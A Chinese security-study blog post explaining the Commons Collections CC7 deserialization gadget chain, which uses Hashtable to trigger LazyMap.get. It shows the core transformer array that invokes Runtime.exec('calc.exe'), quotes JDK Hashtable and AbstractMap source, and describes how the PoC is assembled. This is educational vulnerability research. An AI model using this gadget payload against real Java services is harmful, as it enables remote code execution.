Java安全学习笔记--反序列化利用链CC7链

测试环境:

jdk1.8(jdk8u71)

Commons Collections4.0

Hashtable

和HashMap很相似,使用链地址法解决哈希冲突,线程安全

Cc7和cc6差不多,cc7使用Hashtable来触发LazyMap的get方法,比cc6的稍微复杂一些。

利用链核心

  final Transformer  chainedTransformer= new ChainedTransformer(new Transformer[0]);
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

原理分析 

在看Hashtable的readObject方法看是怎样触发核心利用链代码之前,先大致了解下Hashtable的序列化和反序列化过程,先是序列化过程,writObject会把table.length和conunt写入字节序列这两个分别代表table数组的长度和hashtable中的元素个数,table是一个Entry数组,是Hashtable的一个静态内部类用来存储键值对,键值对的实现就是通过这个类实现的,之后就是遍历tabla数组将每个元素写入字节序列中。

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
    Entry<Object, Object> entryStack = null;

    synchronized (this) {
        // Write out the threshold and loadFactor
        s.defaultWriteObject();

        // Write out the length and count of elements
        s.writeInt(table.length);
        s.writeInt(count);

        // Stack copies of the entries in the table
        for (int index = 0; index < table.length; index++) {
            Entry<?,?> entry = table[index];

            while (entry != null) {
                entryStack =
                    new Entry<>(0, entry.key, entry.value, entryStack);
                entry = entry.next;
            }
        }
    }

    // Write out the key/value objects from the stacked entries
    while (entryStack != null) {
        s.writeObject(entryStack.key);
        s.writeObject(entryStack.value);
        entryStack = entryStack.next;
    }
}

之后是反序列化过程,Hashtable的readObject方法会从字节序列中不断取出Hashtable的相关数据并赋值给Hashtable中的对应属性,origlength和element其实就是序列化时的length和count,之后会使用这两个属性计算出新的length,并用这个length创建table,之后调用reconsitutionPut方法把每个从字节序列中取出的元素放入table中。

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the threshold and loadFactor
    s.defaultReadObject();

    // Validate loadFactor (ignore threshold - it will be re-computed)
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new StreamCorruptedException("Illegal Load: " + loadFactor);

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Validate # of elements
    if (elements < 0)
        throw new StreamCorruptedException("Illegal # of Elements: " + elements);

    // Clamp original length to be more than elements / loadFactor
    // (this is the invariant enforced with auto-growth)
    origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);

    // Compute new length with a bit of room 5% + 3 to grow but
    // no larger than the clamped original length.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)((elements + elements / 20) / loadFactor) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    length = Math.min(length, origlength);

    if (length < 0) { // overflow
        length = origlength;
    }

    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // sync is eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

 reconsitutionPut方法每次添加一个元素时会遍历table数组的元素判断否有重复的key,先会判断key.hashCode()得出的hash值是否与当前元素的相同,然后调用当前元素本身的equal方法判断是否相同,通过了这个遍历的判断之后就会添加元素。

private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

Poc中会把LazyMap传入,所以会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法

这里是个三元表达式,首先会判断是否引用相同,相同返回true不同会调用this.decorated().euqals(Object),这里会返回传入LazyMap中的hashMap({“yy”,1}),实际上hashMapy也没有equal(注意HashMap中有一个静态类Node有一个equals方法,但不是HashMap的)方法,还要去它的父类找,hashMap的父类是AbstractMap

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

AbstractMap类的equals方法首先有三个if判断:判断引用是否相同,判断传入的Object对象类型是否为Map,将Object(lazyMap)向上转型为Map然后判断size是否相同。

之后会获取hashMap的迭代器,遍历hashMap,随后的会判断value是否为空,不为空则会判断if(!vlaue.equals(m.get(key))),到这里lazy Map的get方法就被触发了。

 

 编写POC

Poc中的这段代码:lazyMap2.remove(“yy”)的用处其实是因为在向hashtable添加lazyMap1和lazyMap2时,hashtable.put方法中也会调用到lazyMap的equals方法最终就会调用到lazyMap的get方法,这时传入的key为yy,这是lazyMap2传入的hashMap中所没有的,所以this.map.put就会把{“yy“,”yy“}加入到lazyMap2中,我们要跳过AbstractMap的equals方法中对size的比较就要把这个元素删除掉,而且这时我们还没有使用反序列化触发核心利用链操作就调用了lazyMapd的get方法,所以我们还不能把trasforms数组传入给chainedTransformer,要在hashTable添加完lazymap后使用反射将transforms数组传入。

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值